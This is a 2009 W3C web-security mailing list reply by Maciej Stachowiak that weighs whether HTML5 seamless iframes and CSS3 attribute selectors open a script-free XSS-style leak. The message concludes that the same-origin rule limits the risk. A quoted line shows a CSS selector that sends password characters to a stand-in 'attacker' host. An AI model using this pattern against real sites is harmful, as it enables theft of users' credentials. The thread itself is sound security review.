- From: Maciej Stachowiak <mjs@apple.com>
- Date: Sat, 05 Dec 2009 22:27:30 -0800
- To: Ian Hickson <ian@hixie.ch>
- Cc: sird@rckc.at, public-web-security@w3.org
On Dec 5, 2009, at 10:16 PM, Ian Hickson wrote: > On Fri, 4 Dec 2009, Eduardo Vela wrote: >> >> I sincerely understand why people want seamless iframes on HTML5.. I >> mean, I've been there.. but sometimes the better way to do >> something is >> not to do it. >> >> The perfect example are seamless iframes (defined in html5) and CSS3 >> selectors. >> >> What I see with those awesome CSS3 selectors such as: >> >> input[type=password][value^=a]{background:url("//attacker/ >> password_starts_with=a")} >> >> create a new type of XSS attacks, and those are purely CSS based XSS >> attacks.. without JS.. that will allow an attacker to read arbitrary >> files from the page WITHOUT the need of JS. > > How is the attacker inserting CSS into the page, in this scenario? > > I agree that if an attacker can insert CSS into a victim page, that > numerous information retrieval attacks are possible (though not > currently > a password attack, as Maciej mentioned). However, this has long been > known, it doesn't seem to be a new problem. I think the attack is that you can inject CSS in an unwilling victim page by embedding it in a seamless iframe (since CSS rules are supposed to cascade into the iframe's contained document per HTML5). However, since the contents of a seamless iframe have to be same- origin, the embedding page could just script it directly. Thus, I'm not sure what the vulnerability is. It's not safe to put a page on a given origin that contains data which must not be leaked to other pages on that origin. If anyone does that, then violating their mistaken assumption is not XSS. It does seem slightly novel that one page in a given origin could extract data from another on that same origin even if JavaScript is disabled. Regards, Maciej
Received on Sunday, 6 December 2009 06:28:04 UTC